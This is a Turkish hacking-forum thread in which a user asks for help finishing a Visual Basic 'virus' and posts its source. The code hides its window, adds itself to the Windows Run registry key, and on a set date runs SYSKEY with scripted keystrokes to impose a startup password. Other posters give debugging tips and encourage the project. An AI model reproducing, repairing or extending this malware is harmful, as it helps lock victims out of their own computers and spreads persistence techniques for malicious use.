Virüs Yazacağım Yardım

[Devrimci Hacker]

Visual Basicte bir virüs hazırlıyorum
Program açıldığında kendini kayıt defterine ekleyecek ve oturum her açıldığında çalışmaya başlayacak .. Tarih 6 Haziran olduğu zamanda oturumun şifresini değiştirecek . bunun için aşağıdaki kodu yazdım sizce işe yarar mı ???


Private Sub Form_Load()
App.TaskVisible = False
Form1.Visible = False

Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Dim Tarih
Tarih = Date
If Tarih = "6 Haziran 2009" Then
Shell "SYSKEY.EXE", vbNormalFocus
SendKeys "G", 1
SendKeys "B", 1
SendKeys "{TAB}", 1
SendKeys "THT", 1
SendKeys "{TAB}", 1
SendKeys "THT", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
End If

End Sub

kodlar doğrumu bi yardım edermisiniz ??

 

[DeadLogger]

KayitDefteri bu kodunda hata var birde timer koymalısın timer zaman ayarlarını orada belirteceksin burada herhangi bi timer yok ondan dolayı zamanlı calısmaz ayriyetten kayıt defterine sunu yazdırmıssın sanırım pc acılısta direk devreye girsin o kduna dikaat et yanlıslık var

 

[Devrimci Hacker]

yorum için teşekkürler deadlogger timer ı ekledim .kodları biraz daha gözden geçireyim

 

[shergar5555]

yorum için teşekkürler deadlogger timer ı ekledim .kodları biraz daha gözden geçireyim

son versiyon bir türk yapımı virürüsü senden bekliyoruz arkadaşım. çalışmalarında başarılar dilerim.

 

[ghost_rider42]

başarılarının devamını dilerim inşallah olur

 

[Devrimci Hacker]

yorumlar için sağolun arkadaşlar. inşallah başarılı bir çalışma olur